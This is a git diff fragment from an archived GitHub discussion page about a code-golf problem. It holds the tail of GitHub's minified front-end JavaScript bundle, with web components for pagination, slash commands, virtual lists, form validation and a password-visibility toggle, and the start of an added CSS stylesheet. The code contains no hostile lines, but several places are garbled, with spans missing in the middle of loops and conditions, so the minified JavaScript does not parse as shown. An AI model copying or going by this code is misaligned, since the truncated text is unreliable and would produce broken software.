t;if(s.preventDefault(),this.disabled)return;this.disabled=!0;let e;try{const i=await fetch(this.form.action);if(!i.ok)return;e=await i.text()}catch{return}const n=(0,Rt.r)(document,e);this.setPaginationUrl(n),this.list.append(n),(t=this.focusMarkers.pop())==null||t.focus(),this.disabled=!1,this.dispatchEvent(new CustomEvent("remote-pagination-load"))}setPaginationUrl(s){const t=s.querySelector("[data-pagination-src]");if(!t)return;const e=t.getAttribute("data-pagination-src");e?(this.form.action=e,this.form.hidden=!1):this.form.hidden=!0}},"RemotePaginationElement");ft([l.fA],rt.prototype,"form",2),ft([l.fA],rt.prototype,"list",2),ft([l.GO],rt.prototype,"focusMarkers",2),ft([l.fA],rt.prototype,"submitButton",2),rt=ft([l.Ih],rt);var kt=m(10160);const jt=/\s|\(|\[/;function $t(s,t,e){const n=s.lastIndexOf(t,e-1);if(n===-1||s.lastIndexOf(" ",e-1)>n)return;const r=s[n-1];return r&&!jt.test(r)?void 0:{word:s.substring(n+t.length,e),position:n+t.length,beginningOfLine:Ut(r)}}a($t,"keyword");const Ut=a(s=>s===void 0||/\n/.test(s),"isBeginningOfLine"),Gt=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],Ht=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],Ot=new WeakMap;function Kt(s,t){const e=s.nodeName.toLowerCase();if(e!=="textarea"&&e!=="input")throw new Error("expected textField to a textarea or input");let n=Ot.get(s);if(n&&n.parentElement===s.parentElement)n.innerHTML="";else{n=document.createElement("div"),Ot.set(s,n);const g=window.getComputedStyle(s),T=Gt.slice(0);e==="textarea"?T.push("white-space:pre-wrap;"):T.push("white-space:nowrap;");for(let x=0,O=Ht.length;x{e.remove()},5e3),{top:r.top-i.top,left:r.left-i.left}}a(Zt,"textFieldSelectionPosition");const at=new WeakMap;class Bt{constructor(t,e){this.expander=t,this.input=e,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,e.addEventListener("paste",this.onpaste),e.addEventListener("input",this.oninput),e.addEventListener("keydown",this.onkeydown),e.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}activate(t,e){this.input===document.activeElement&&this.setMenu(t,e)}deactivate(){const t=this.menu,e=this.combobox;return!t||!e?!1:(this.menu=null,this.combobox=null,t.removeEventListener("combobox-commit",this.oncommit),t.removeEventListener("mousedown",this.onmousedown),e.destroy(),t.remove(),!0)}setMenu(t,e){this.deactivate(),this.menu=e,e.id||(e.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(e);const n=e.querySelector(".js-slash-command-menu-items");n?this.combobox=new kt.Z(this.input,n):this.combobox=new kt.Z(this.input,e);const{top:i,left:r}=Zt(this.input,t.position),u=parseInt(window.getComputedStyle(this.input).fontSize);e.style.top=`${i+u}px`,e.style.left=`${r}px`,this.combobox.start(),e.addEventListener("combobox-commit",this.oncommit),e.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}setValue(t){if(t==null)return;const e=this.match;if(!e)return;const n=this.input.value.substring(0,e.position-e.key.length),i=this.input.value.substring(e.position+e.text.length);let{cursor:r,value:u}=this.replaceCursorMark(t);u=(u==null?void 0:u.length)===0?u:`${u} `,this.input.value=n+u+i,this.deactivate(),this.input.focus(),r=n.length+(r||u.length),this.input.selectionStart=r,this.input.selectionEnd=r}replaceCursorMark(t){const e=/%cursor%/gm,n=e.exec(t);return n?{cursor:n.index,value:t.replace(e,"")}:{cursor:null,value:t}}async onCommit({target:t}){const e=t;if(!(e instanceof HTMLElement)||!this.combobox)return;const n=this.match;if(!n)return;const i={item:e,key:n.key,value:null},r=new CustomEvent("text-expander-value",{cancelable:!0,detail:i}),u=!this.expander.dispatchEvent(r),{onValue:g}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));await g(this.expander,n.key,e),!u&&i.value&&this.setValue(i.value)}onBlur(){if(this.interactingWithMenu){this.interactingWithMenu=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async delay(t){return new Promise(e=>setTimeout(e,t))}async onInput(){if(this.justPasted){this.justPasted=!1;return}const t=this.findMatch();if(t){if(this.match=t,await this.delay(this.appropriateDelay(this.match)),this.match!==t)return;const e=await this.notifyProviders(t);if(!this.match)return;e?this.activate(t,e):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(t){return t.beginningOfLine||t.text!==""?0:250}findMatch(){const t=this.input.selectionEnd,e=this.input.value;for(const n of this.expander.keys){const i=$t(e,n,t);if(i)return{text:i.word,key:n,position:i.position,beginningOfLine:i.beginningOfLine}}}async notifyProviders(t){const e=[],n=a(x=>e.push(x),"provide"),i=new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:n,text:t.text,key:t.key}});if(!this.expander.dispatchEvent(i))return;const{onChange:u}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));return u(this.expander,t.key,n,t.text),(await Promise.all(e)).filter(x=>x.matched).map(x=>x.fragment)[0]}onMousedown(){this.interactingWithMenu=!0}onKeydown(t){t.key==="Escape"&&this.deactivate()&&(t.stopImmediatePropagation(),t.preventDefault())}}a(Bt,"SlashCommandExpander");class Mt extends HTMLElement{get keys(){const t=this.getAttribute("keys");return t?t.split(" "):[]}connectedCallback(){const t=this.querySelector('input[type="text"], textarea');if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const e=new Bt(this,t);at.set(this,e)}disconnectedCallback(){const t=at.get(this);!t||(t.destroy(),at.delete(this))}setValue(t){const e=at.get(this);!e||e.setValue(t)}setMenu(t,e=!1){const n=at.get(this);!n||!n.match||(e&&(n.interactingWithMenu=!0),n.setMenu(n.match,t))}closeMenu(){const t=at.get(this);!t||t.setValue("")}isLoading(){const t=this.getElementsByClassName("js-slash-command-expander-loading")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}showError(){const t=this.getElementsByClassName("js-slash-command-expander-error")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}}a(Mt,"SlashCommandExpanderElement"),window.customElements.get("slash-command-expander")||(window.SlashCommandExpanderElement=Mt,window.customElements.define("slash-command-expander",Mt));var Xt=Object.defineProperty,Qt=Object.getOwnPropertyDescriptor,_t=a((s,t,e,n)=>{for(var i=n>1?void 0:n?Qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Xt(t,e,i),i},"text_suggester_element_decorateClass");let pt=a(class extends HTMLElement{acceptSuggestion(){var s;((s=this.suggestion)==null?void 0:s.textContent)&&(this.input.value=this.suggestion.textContent,this.input.dispatchEvent(new Event("input")),this.suggestionContainer&&(this.suggestionContainer.hidden=!0),this.input.focus())}},"TextSuggesterElement");_t([l.fA],pt.prototype,"input",2),_t([l.fA],pt.prototype,"suggestionContainer",2),_t([l.fA],pt.prototype,"suggestion",2),pt=_t([l.Ih],pt);var Dt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_filter_input_element_accessCheck"),R=a((s,t,e)=>(Dt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_filter_input_element_privateGet"),ot=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_filter_input_element_privateAdd"),V=a((s,t,e,n)=>(Dt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_filter_input_element_privateSet"),gt,lt,ut,et,vt,K;function Jt(s){return Boolean(s instanceof Set||s&&typeof s=="object"&&"size"in s&&"add"in s&&"delete"in s&&"clear"in s)}a(Jt,"isSetAlike");class Tt extends HTMLElement{constructor(){super(...arguments);ot(this,gt,void 0),ot(this,lt,0),ot(this,ut,null),ot(this,et,void 0),ot(this,vt,new Set),ot(this,K,null),this.filter=(t,e)=>String(t).includes(e)}static get observedAttributes(){return["src","loading","data-property","aria-owns"]}get filtered(){if(R(this,K))return R(this,K);if(this.hasAttribute("aria-owns")){const t=this.ownerDocument.getElementById(this.getAttribute("aria-owns")||"");t&&Jt(t)&&V(this,K,t)}return R(this,K)||V(this,K,new Set)}set filtered(t){V(this,K,t)}get input(){return this.querySelector("input, textarea")}get src(){return this.getAttribute("src")||""}set src(t){this.setAttribute("src",t)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(t){this.setAttribute("loading",t)}get accept(){return this.getAttribute("accept")||""}set accept(t){this.setAttribute("accept",t)}get property(){return this.getAttribute("data-property")||""}set property(t){this.setAttribute("data-property",t)}reset(){this.filtered.clear(),V(this,vt,new Set)}clear(){!this.input||(this.input.value="",this.input.dispatchEvent(new Event("input")))}attributeChangedCallback(t,e,n){const i=this.isConnected&&this.src,r=this.loading==="eager",u=t==="src"||t==="loading"||t==="accept"||t==="data-property",g=t==="src"||t==="data-property",T=e!==n;g&&T&&(V(this,ut,null),R(this,et)&&clearTimeout(R(this,et))),i&&r&&u&&T?(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load()))):t==="aria-owns"&&V(this,K,null)}connectedCallback(){this.src&&this.loading==="eager"&&(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load())));const t=this.input;if(!t)return;const e=this.getAttribute("aria-owns");e!==null&&this.attributeChangedCallback("aria-owns","",e),t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),this.src&&this.loading==="lazy"&&(document.activeElement===t?this.load():t.addEventListener("focus",()=>{this.load()},{once:!0})),t.addEventListener("input",this)}disconnectedCallback(){var t;(t=this.input)==null||t.removeEventListener("input",this)}handleEvent(t){var e,n;t.type==="input"&&(R(this,et)&&clearTimeout(R(this,et)),V(this,et,window.setTimeout(()=>this.filterItems(),((n=(e=this.input)==null?void 0:e.value)==null?void 0:n.length)||0<3?300:0)))}async load(){var t;(t=R(this,gt))==null||t.abort(),V(this,gt,new AbortController);const{signal:e}=R(this,gt);if(!this.src)throw new Error("missing src");if(await new Promise(n=>setTimeout(n,0)),!e.aborted){this.dispatchEvent(new Event("loadstart"));try{const n=await this.fetch(this.request(),{signal:e});if(location.origin+this.src!==n.url)return;if(!n.ok)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);V(this,vt,new Set((await n.json())[this.property])),V(this,ut,null),this.dispatchEvent(new Event("loadend"))}catch(n){if(e.aborted){this.dispatchEvent(new Event("loadend"));return}throw(async()=>(this.dispatchEvent(new Event("error")),this.dispatchEvent(new Event("loadend"))))(),n}this.filtered.clear(),this.filterItems()}}request(){return new Request(this.src,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"application/json"}})}fetch(t,e){return fetch(t,e)}filterItems(){var t,e;const n=(e=(t=this.input)==null?void 0:t.value.trim())!=null?e:"",i=R(this,ut);if(V(this,ut,n),n===i)return;this.dispatchEvent(new CustomEvent("virtual-filter-input-filter"));let r;i&&n.includes(i)?r=this.filtered:(r=R(this,vt),this.filtered.clear());for(const u of r)this.filter(u,n)?this.filtered.add(u):this.filtered.delete(u);this.dispatchEvent(new CustomEvent("virtual-filter-input-filtered"))}}a(Tt,"VirtualFilterInputElement"),gt=new WeakMap,lt=new WeakMap,ut=new WeakMap,et=new WeakMap,vt=new WeakMap,K=new WeakMap;const re=null;window.customElements.get("virtual-filter-input")||(window.VirtualFilterInputElement=Tt,window.customElements.define("virtual-filter-input",Tt));var Wt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_list_element_accessCheck"),v=a((s,t,e)=>(Wt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_list_element_privateGet"),nt=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_list_element_privateAdd"),Z=a((s,t,e,n)=>(Wt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_list_element_privateSet"),st,F,Q,$,Et,At,ct;class Pt extends HTMLElement{constructor(){super(...arguments);nt(this,st,!1),nt(this,F,new Set),nt(this,Q,new Map),nt(this,$,1/0),nt(this,Et,new Map),nt(this,At,new Map),nt(this,ct,0)}static get observedAttributes(){return["data-updating"]}get updating(){return this.getAttribute("data-updating")==="lazy"?"lazy":"eager"}set updating(t){this.setAttribute("data-updating",t)}get size(){return v(this,F).size}get range(){const t=this.getBoundingClientRect().height,{scrollTop:e}=this,n=`${e}-${t}`;if(v(this,Et).has(n))return v(this,Et).get(n);let i=0,r=0,u=0,g=0;const T=v(this,Q);for(const x of v(this,F)){const O=T.get(x)||v(this,$);if(u+O=t)break}return[i,r]}attributeChangedCallback(t,e,n){if(e===n||!this.isConnected)return;const i=t==="data-updating"&&n==="eager",r=t==="data-sorted"&&this.hasAttribute("data-sorted");(i||r)&&this.update()}connectedCallback(){this.addEventListener("scroll",()=>this.update()),this.updateSync=this.updateSync.bind(this)}update(){v(this,ct)&&cancelAnimationFrame(v(this,ct)),!v(this,st)&&this.hasAttribute("data-sorted")?Z(this,ct,requestAnimationFrame(()=>{this.dispatchEvent(new CustomEvent("virtual-list-sort",{cancelable:!0}))&&this.sort()})):Z(this,ct,requestAnimationFrame(this.updateSync))}renderItem(t){const e={item:t,fragment:document.createDocumentFragment()};return this.dispatchEvent(new CustomEvent("virtual-list-render-item",{detail:e})),e.fragment.children[0]}recalculateHeights(t){const e=this.querySelector("ul, ol, tbody");e&&(e.append(this.renderItem(t)),Z(this,$,e.children[0].getBoundingClientRect().height),v(this,Q).set(t,v(this,$)),e.replaceChildren())}updateSync(){const t=this.querySelector("ul, ol");if(!t)return;const[e,n]=this.range;if(nn){T=!1;break}let it=null;if(u.has(X))it=u.get(X);else{if(it=this.renderItem(X),!it)continue;u.set(X,it)}r.set(X,it)}t.replaceChildren(...r.values()),t.style.paddingTop=`${x}px`;const O=this.size*v(this,$);t.style.height=`${O||0}px`;let J=!1;const It=this.getBoundingClientRect().bottom;for(const[X,it]of r){const{height:ee,bottom:ne}=it.getBoundingClientRect();J=J||ne>=It,v(this,Q).set(X,ee)}if(!T&&this.size>r.size&&!J)return v(this,Et).delete(`${this.scrollTop}-${this.getBoundingClientRect().height}`),this.update();this.dispatchEvent(new CustomEvent("virtual-list-updated"))}has(t){return v(this,F).has(t)}add(t){return v(this,F).add(t),Z(this,st,!1),Number.isFinite(v(this,$))||this.recalculateHeights(t),this.updating==="eager"&&this.update(),this}delete(t){const e=v(this,F).delete(t);return Z(this,st,!1),v(this,Q).delete(t),this.updating==="eager"&&this.update(),e}clear(){v(this,F).clear(),v(this,Q).clear(),Z(this,$,1/0),Z(this,st,!0),this.updating==="eager"&&this.update()}forEach(t,e){for(const n of this)t.call(e,n,n,this)}entries(){return v(this,F).entries()}values(){return v(this,F).values()}keys(){return v(this,F).keys()}[Symbol.iterator](){return v(this,F)[Symbol.iterator]()}sort(t){return Z(this,F,new Set(Array.from(this).sort(t))),Z(this,st,!0),this.updating==="eager"&&this.update(),this}}a(Pt,"VirtualListElement"),st=new WeakMap,F=new WeakMap,Q=new WeakMap,$=new WeakMap,Et=new WeakMap,At=new WeakMap,ct=new WeakMap;const ae=null;window.customElements.get("virtual-list")||(window.VirtualListElement=Pt,window.customElements.define("virtual-list",Pt));var Yt=Object.defineProperty,te=Object.getOwnPropertyDescriptor,Ct=a((s,t,e,n)=>{for(var i=n>1?void 0:n?te(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Yt(t,e,i),i},"visible_password_element_decorateClass");let wt=a(class extends HTMLElement{show(){this.input.type="text",this.input.focus(),this.showButton.hidden=!0,this.hideButton.hidden=!1}hide(){this.input.type="password",this.input.focus(),this.hideButton.hidden=!0,this.showButton.hidden=!1}},"VisiblePasswordElement");Ct([l.fA],wt.prototype,"input",2),Ct([l.fA],wt.prototype,"showButton",2),Ct([l.fA],wt.prototype,"hideButton",2),wt=Ct([l.Ih],wt)},7679:(B,P,m)=>{m.d(P,{H:()=>y,v:()=>L});var b=m(59753);function L(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!1)}a(L,"showGlobalError");function y(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!0)}a(y,"hideGlobalError"),(0,b.on)("deprecatedAjaxError","[data-remote]",function(p){const E=p.detail,{error:I,text:D}=E;p.currentTarget===p.target&&(I==="abort"||I==="canceled"||(/{m.d(P,{G:()=>_});var b=m(45075),L=m(64463),y=m(59753);const p=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function E(d){const o=d.getAttribute("data-required-value"),h=d.getAttribute("data-required-value-prefix");if(d.value===o)d.setCustomValidity("");else{let f=o;h&&(f=h+f),d.setCustomValidity(f)}}a(E,"checkValidityForRequiredValueField"),(0,b.q6)("[data-required-value]",function(d){const o=d.currentTarget;E(o)}),(0,y.on)("change","[data-required-value]",function(d){const o=d.currentTarget;E(o),_(o.form)}),(0,b.q6)("[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity("")}),(0,y.on)("change","[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity(""),_(o.form)}),(0,b.ZG)(p,d=>{let o=d.checkValidity();function h(){const f=d.checkValidity();f!==o&&d.form&&_(d.form),o=f}a(h,"inputHandler"),d.addEventListener("input",h),d.addEventListener("blur",a(function f(){d.removeEventListener("input",h),d.removeEventListener("blur",f)},"blurHandler"))});const I=new WeakMap;function D(d){I.get(d)||(d.addEventListener("change",()=>_(d)),I.set(d,!0))}a(D,"installHandlers");function _(d){const o=d.checkValidity();for(const h of d.querySelectorAll("button[data-disable-invalid]"))h.disabled=!o}a(_,"validate"),(0,L.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const o=d.form;o&&(D(o),d.disabled=!o.checkValidity())}}),(0,L.N7)("input[data-required-change], textarea[data-required-change]",function(d){const o=d,h=o.type==="radio"&&o.form?o.form.elements.namedItem(o.name).value:null;function f(c){const l=o.form;if(c&&o.type==="radio"&&l&&h)for(const w of l.elements.namedItem(o.name))w instanceof HTMLInputElement&&w.setCustomValidity(o.value===h?"unchanged":"");else o.setCustomValidity(o.value===(h||o.defaultValue)?"unchanged":"")}a(f,"customValidity"),o.addEventListener("input",f),o.addEventListener("change",f),f(),o.form&&_(o.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const o=d.target;setTimeout(()=>_(o))}})},56238:(B,P,m)=>{m.d(P,{Bt:()=>E,DN:()=>_,KL:()=>h,Se:()=>D,qC:()=>f,sw:()=>d});var b=m(59753),L=m(2061),y=m(7679);(0,b.on)("click",".js-remote-submit-button",async function(c){const w=c.currentTarget.form;c.preventDefault();let C;try{C=await fetch(w.action,{method:w.method,body:new FormData(w),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}C&&!C.ok&&(0,y.v)()});function p(c,l,w){return c.dispatchEvent(new CustomEvent(l,{bubbles:!0,cancelable:w}))}a(p,"fire");function E(c,l){l&&(I(c,l),(0,L.j)(l)),p(c,"submit",!0)&&c.submit()}a(E,"requestSubmit");function I(c,l){if(!(c instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(l instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(l.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!c||c!==l.form)throw new Error("The specified element is not owned by the form element.")}a(I,"checkButtonValidity");function D(c,l){if(typeof l=="boolean")if(c instanceof HTMLInputElement)c.checked=l;else throw new TypeError("only checkboxes can be set to boolean value");else{if(c.type==="checkbox")throw new TypeError("checkbox can't be set to string value");c.value=l}p(c,"change",!1)}a(D,"changeValue");function _(c,l){for(const w in l){const C=l[w],A=c.elements.namedItem(w);(A instanceof HTMLInputElement||A instanceof HTMLTextAreaElement)&&(A.value=C)}}a(_,"fillFormValues");function d(c){if(!(c instanceof HTMLElement))return!1;const l=c.nodeName.toLowerCase(),w=(c.getAttribute("type")||"").toLowerCase();return l==="select"||l==="textarea"||l==="input"&&w!=="submit"&&w!=="reset"||c.isContentEditable}a(d,"isFormField");function o(c){return new URLSearchParams(c)}a(o,"searchParamsFromFormData");function h(c,l){const w=new URLSearchParams(c.search),C=o(l);for(const[A,W]of C)w.append(A,W);return w.toString()}a(h,"combineGetFormSearchParams");function f(c){return o(new FormData(c)).toString()}a(f,"serialize")},99254:(B,P,m)=>{m.d(P,{Z:()=>d});var b=m(47142);const L=a((o,h,f)=>{if(!(0,b.CD)(o,h))return-1/0;const c=(0,b.Gs)(o,h);return c{o.innerHTML="";let c=0;for(const l of(0,b.m7)(h,f)){f.slice(c,l)!==""&&o.appendChild(document.createTextNode(f.slice(c,l))),c=l+1;const C=document.createElement("mark");C.textContent=f[l],o.appendChild(C)}o.appendChild(document.createTextNode(f.slice(c)))},"highlightElement"),p=new WeakMap,E=new WeakMap,I=new WeakMap,D=a(o=>{if(!I.has(o)&&o instanceof HTMLElement){const h=(o.getAttribute("data-value")||o.textContent||"").trim();return I.set(o,h),h}return I.get(o)||""},"getTextCache");class _ extends HTMLElement{connectedCallback(){const h=this.querySelector("ul");if(!h)return;const f=new Set(h.querySelectorAll("li")),c=this.querySelector("input");c instanceof HTMLInputElement&&c.addEventListener("input",()=>{this.value=c.value});const l=new MutationObserver(C=>{let A=!1;for(const W of C)if(W.type==="childList"&&W.addedNodes.length){for(const q of W.addedNodes)if(q instanceof HTMLLIElement&&!f.has(q)){const z=D(q);A=A||(0,b.CD)(this.value,z),f.add(q)}}A&&this.sort()});l.observe(h,{childList:!0});const w={handler:l,items:f,lazyItems:new Map,timer:null};E.set(this,w)}disconnectedCallback(){const h=E.get(this);h&&(h.handler.disconnect(),E.delete(this))}addLazyItems(h,f){const c=E.get(this);if(!c)return;const{lazyItems:l}=c,{value:w}=this;let C=!1;for(const A of h)l.set(A,f),C=C||Boolean(w)&&(0,b.CD)(w,A);C&&this.sort()}sort(){const h=p.get(this);h&&(h.aborted=!0);const f={aborted:!1};p.set(this,f);const{minScore:c,markSelector:l,maxMatches:w,value:C}=this,A=E.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:C})))return;const{items:W,lazyItems:q}=A,z=this.hasAttribute("mark-selector"),U=this.querySelector("ul");if(!U)return;const k=[];if(C){for(const M of W){const S=D(M),H=L(C,S,c);H!==-1/0&&k.push({item:M,score:H})}for(const[M,S]of q){const H=L(C,M,c);H!==-1/0&&k.push({text:M,render:S,score:H})}k.sort((M,S)=>S.score-M.score).splice(w)}else{let M=k.length;for(const S of W){if(M>=w)break;k.push({item:S,score:1}),M+=1}for(const[S,H]of q){if(M>=w)break;k.push({text:S,render:H,score:1}),M+=1}}requestAnimationFrame(()=>{if(f.aborted)return;const M=U.querySelector('input[type="radio"]:checked');U.innerHTML="";let S=0;const H=a(()=>{if(f.aborted)return;const G=Math.min(k.length,S+100),dt=document.createDocumentFragment();for(let j=S;j0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:k.length}))}},"nextBatch");H()})}get value(){return this.getAttribute("value")||""}set value(h){this.setAttribute("value",h)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(h){h?this.setAttribute("mark-selector",h):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(h){Number.isNaN(h)||this.setAttribute("min-score",String(h))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(h){Number.isNaN(h)||this.setAttribute("max-matches",String(h))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(h,f,c){if(f===c)return;const l=E.get(this);!l||(l.timer&&window.clearTimeout(l.timer),l.timer=window.setTimeout(()=>this.sort(),100))}}a(_,"FuzzyListElement");const d=_;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=_,window.customElements.define("fuzzy-list",_))},45075:(B,P,m)=>{m.d(P,{ZG:()=>E,q6:()=>D,w4:()=>I});var b=m(8439);let L=!1;const y=new b.Z;function p(_){const d=_.target;if(d instanceof HTMLElement&&d.nodeType!==Node.DOCUMENT_NODE)for(const o of y.matches(d))o.data.call(null,d)}a(p,"handleFocus");function E(_,d){L||(L=!0,document.addEventListener("focus",p,!0)),y.add(_,d),document.activeElement instanceof HTMLElement&&document.activeElement.matches(_)&&d(document.activeElement)}a(E,"onFocus");function I(_,d,o){function h(f){const c=f.currentTarget;!c||(c.removeEventListener(_,o),c.removeEventListener("blur",h))}a(h,"blurHandler"),E(d,function(f){f.addEventListener(_,o),f.addEventListener("blur",h)})}a(I,"onKey");function D(_,d){function o(h){const{currentTarget:f}=h;!f||(f.removeEventListener("input",d),f.removeEventListener("blur",o))}a(o,"blurHandler"),E(_,function(h){h.addEventListener("input",d),h.addEventListener("blur",o)})}a(D,"onInput")},12981:(B,P,m)=>{m.d(P,{r:()=>b});function b(L,y){const p=L.createElement("template");return p.innerHTML=y,L.importNode(p.content,!0)}a(b,"parseHTML")},37211:(B,P,m)=>{m.d(P,{X:()=>L});var b=m(64463);function L(){return/Windows/.test(navigator.userAgent)?"windows":/Macintosh/.test(navigator.userAgent)?"mac":null}a(L,"getPlatform");function y(p){const E=(p.getAttribute("data-platforms")||"").split(","),I=L();return Boolean(I&&E.includes(I))}a(y,"runningOnPlatform"),(0,b.N7)(".js-remove-unless-platform",function(p){y(p)||p.remove()})},2061:(B,P,m)=>{m.d(P,{j:()=>b,u:()=>L});function b(y){const p=y.closest("form");if(!(p instanceof HTMLFormElement))return;let E=L(p);if(y.name){const I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh 